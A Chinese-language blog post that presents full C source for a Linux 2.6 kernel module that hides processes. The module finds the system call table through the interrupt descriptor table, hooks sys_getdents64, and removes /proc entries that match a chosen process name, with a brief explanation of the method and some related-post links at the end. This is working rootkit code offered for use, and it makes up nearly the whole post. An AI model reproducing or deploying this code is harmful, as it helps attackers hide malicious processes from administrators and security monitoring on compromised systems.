linux创建隐藏进程6,在Linux 2.6内核下实现进程隐藏
很早以前的小程序,比较简单但是觉得有趣
原理很简单,Linux查看进程的命令ps是通过系统调用sys_getdents实现,sys_getdents用户获取一个指定路径下的目录条目,实际上就是枚举
/proc/ 下的pid,这样我们只需要hook一下sys_getdents,把相应的要隐藏的pid信息去掉即可。
以下是LKM代码,在Linux-2.6.14并运行成功
#include
#include
#include
#include
#include
#include
#include
#include
#define CALLOFF 100
//使用模块参数来定义需要隐藏的进程名
char *processname;
module_param(processname, charp, 0);
struct {
unsigned short limit;
unsigned int base;
} __attribute__ ((packed)) idtr;
struct {
unsigned short off1;
unsigned short sel;
unsigned char none,
flags;
unsigned short off2;
} __attribute__ ((packed)) * idt;
void** sys_call_table;
asmlinkage long (*orig_getdents)(unsigned int fd, struct linux_dirent64 __user *dirp, unsigned int count);
char * findoffset(char *start)
{
char *p;
for (p = start; p < start + CALLOFF; p++)
if (*(p + 0) == '\xff' && *(p + 1) == '\x14' && *(p + 2) == '\x85')
return p;
return NULL;
}
int myatoi(char *str)
{
int res = 0;
int mul = 1;
char *ptr;
for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
if (*ptr < '0' || *ptr > '9')
return (-1);
res += (*ptr - '0') * mul;
mul *= 10;
}
return (res);
}
struct task_struct *get_task(pid_t pid)
{
struct task_struct *p = get_current(),*entry=NULL;
list_for_each_entry(entry,&(p->tasks),tasks)
{
if(entry->pid == pid)
{
printk("pid found\n");
return entry;
}
}
return NULL;
}
static inline char *get_name(struct task_struct *p, char *buf)
{
int i;
char *name;
name = p->comm;
i = sizeof(p->comm);
do {
unsigned char c = *name;
name++;
i--;
*buf = c;
if (!c)
break;
if (c == '\\') {
buf[1] = c;
buf += 2;
continue;
}
if (c == '\n') {
buf[0] = '\\';
buf[1] = 'n';
buf += 2;
continue;
}
buf++;
}
while (i);
*buf = '\n';
return buf + 1;
} int get_process(pid_t pid)
{
struct task_struct *task = get_task(pid);
char *buffer[64] = {0};
if (task)
{
get_name(task, buffer);
if(strstr(buffer,processname))
return 1;
else
return 0;
}
else
return 0;
}
asmlinkage long hacked_getdents(unsigned int fd, struct linux_dirent64 __user *dirp, unsigned int count)
{
//added by lsc for process
long value;
struct inode *dinode;
int len = 0;
int tlen = 0;
struct linux_dirent64 *mydir = NULL;
//end
//在这里调用一下sys_getdents,得到返回的结果
value = (*orig_getdents) (fd, dirp, count);
tlen = value;
//遍历得到的目录列表
while(tlen > 0)
{
len = dirp->d_reclen;
tlen = tlen - len;
printk("%s\n",dirp->d_name);
//在proc文件系统中,目录名就是pid,我们再根据pid找到进程名
if(get_process(myatoi(dirp->d_name)) )
{
printk("find process\n");
//发现匹配的进程,调用memmove将这条进程覆盖掉
memmove(dirp, (char *) dirp + dirp->d_reclen, tlen);
value = value - len;
}
if(tlen)
dirp = (struct linux_dirent64 *) ((char *)dirp + dirp->d_reclen);
}
return value;
}
void **get_sct_addr(void)
{
unsigned sys_call_off;
unsigned sct = 0;
char *p;
asm("sidt %0":"=m"(idtr));
idt = (void *) (idtr.base + 8 * 0x80);
sys_call_off = (idt->off2 << 16) | idt->off1;
if ((p = findoffset((char *) sys_call_off)))
sct = *(unsigned *) (p + 3);
return ((void **)sct);
}
static void filter_exit(void)
{
if (sys_call_table)
sys_call_table[__NR_getdents64] = orig_getdents;
}
static int filter_init(void)
{
//得到sys_call_table的偏移地址
sys_call_table = get_sct_addr();
if (!sys_call_table) {
printk("get_act_addr(): NULL...\n");
return 0;
} else
printk("sct: 0x%x\n", (unsigned int)sys_call_table);
//将sys_call_table中注册的系统调用sys_getdents替换成我们自己的函数hack_getdents
orig_getdents = sys_call_table[__NR_getdents64];
sys_call_table[__NR_getdents64] = hacked_getdents;
return 0;
}
module_init(filter_init);
module_exit(filter_exit);
MODULE_LICENSE("GPL");
linux创建隐藏进程6,在Linux 2.6内核下实现进程隐藏相关推荐
- linux 创建线程函数吗,[笔记]linux下和windows下的 创建线程函数
linux下和windows下的 创建线程函数 #ifdef __GNUC__ //Linux #include #define CreateThreadEx(tid,threadFun,args) ...
- linux创建磁盘pv报错,Linux 磁盘管理
Linux 创建磁盘 以及磁盘分区管理 查看磁盘信息 [root@ZZSRV2 ~]# fdisk -l Disk /dev/sda: 42.9 GB, 42949672960 bytes, 8388 ...
- linux创建运维账户流程,Linux运维养成记-账户与权限管理
1. Linux 账户及组的概念 Linux 系统是通过用户的 ID 来识别每个账号,默认 ID 长度为 32 位,从 0 开始,用户的 ID及 UID 限制在 60000 以下,其中 Linux 账 ...
- 内核下断链隐藏进程(兼容多版本Windows系统,非硬编码)
前言 在Windows内核下,我们可以通过获取EPROCESS结构来隐藏进程,EPROCESS是微软未公开的结构体,其本质上就是双向链表的一个节点,通过修改该双向链表即可达到隐藏进程的目的.但EPRO ...
- 在Linux系统下实现进程,在Linux2.6内核下实现进程隐藏
很早以前的小程序,比较简单但是觉得有趣 原理很简单,Linux查看进程的命令ps是通过系统调用sys_getdents实现,sys_getdents用户获取一个指定路径下的目录条目,实际上就是枚举 / ...
- linux创建更改目录,如何使用Linux中的单个命令创建新目录并更改它 | MOS86
如果您终于在终端上花费了任何时间,可以使用mkdir命令创建一个目录,然后再将cd命令更改到该目录.但是,有一种方法可以使用一个命令来执行这两个操作. 您可以手动在命令行上同时运行两个命令,但是我们将 ...
- linux创建的文件没有权限,linux 创建文件夹没有权限
简单来说提示没有权限的目(目录:a)就是你没有权而进(目录:b),能够创建文件了,说明你对b目录有读写的权限详细来说:你可以使用常用命令"ls-l"查看权限(有些linux版本可以 ...
- linux创建空文件方式,在Linux下创建空文件的方法
我曾经以此为面试题,以测试技术人员对操作系统及指令的理解程度. 建立空文件,看上去没有意义,而在实际工作中仍然有实际的作用.比如作为驱动事件或标志文件,其实作为文件实体,文件本身已经在操作体统中体现了 ...
- linux创建表空间 没有权限,Linux oracle数据库创建表空间、用户并赋予权限
管理员用户登录oracle数据库 1.创建临时表空间 select name from v$tempfile;查出当前数据库临时表空间,主要是使用里面的存放路径: 得到其中一条记录/opt/oracl ...
最新文章
- excel切片器_excel中的超级好用的筛选神器——切片器
- C++ Opengl纹理过滤和光照实例源码
- Http协议的Delete和Put方法是做什么的?怎么用?
- JDK1.8 之Stream API总结
- C++ 虚函数和虚表
- .netcore signalR 实时消息推送
- 关于C笔记使用体验和比较
- 怎么更改自己IP地址 切换电脑本机IP软软件哪个好用
- ISO9001 质量管理体系认证
- HLW8032做220V电量采集方案测试
- python日志:去掉noteexpress导出参考文献题录的空格
- 2022-2028年中国商用车融资租赁行业市场调查研究及发展前景规划报告
- 清除Chrome的缓存、Cookie
- CSS精灵优化Retina显示屏下的网站图像
- 小米平板2装win10(附驱动)
- Java——面向对象(1)
- 大咖面对面 | 喵奏@国家建筑师:梦回大宋,一起来做河里人
- 从果粉到黑吃黑:一个论坛挂马的奇异反转
- u3d引擎移动都有哪些方法?又都适用于什么场景?
- linux 安装谷歌浏览器--Google chrome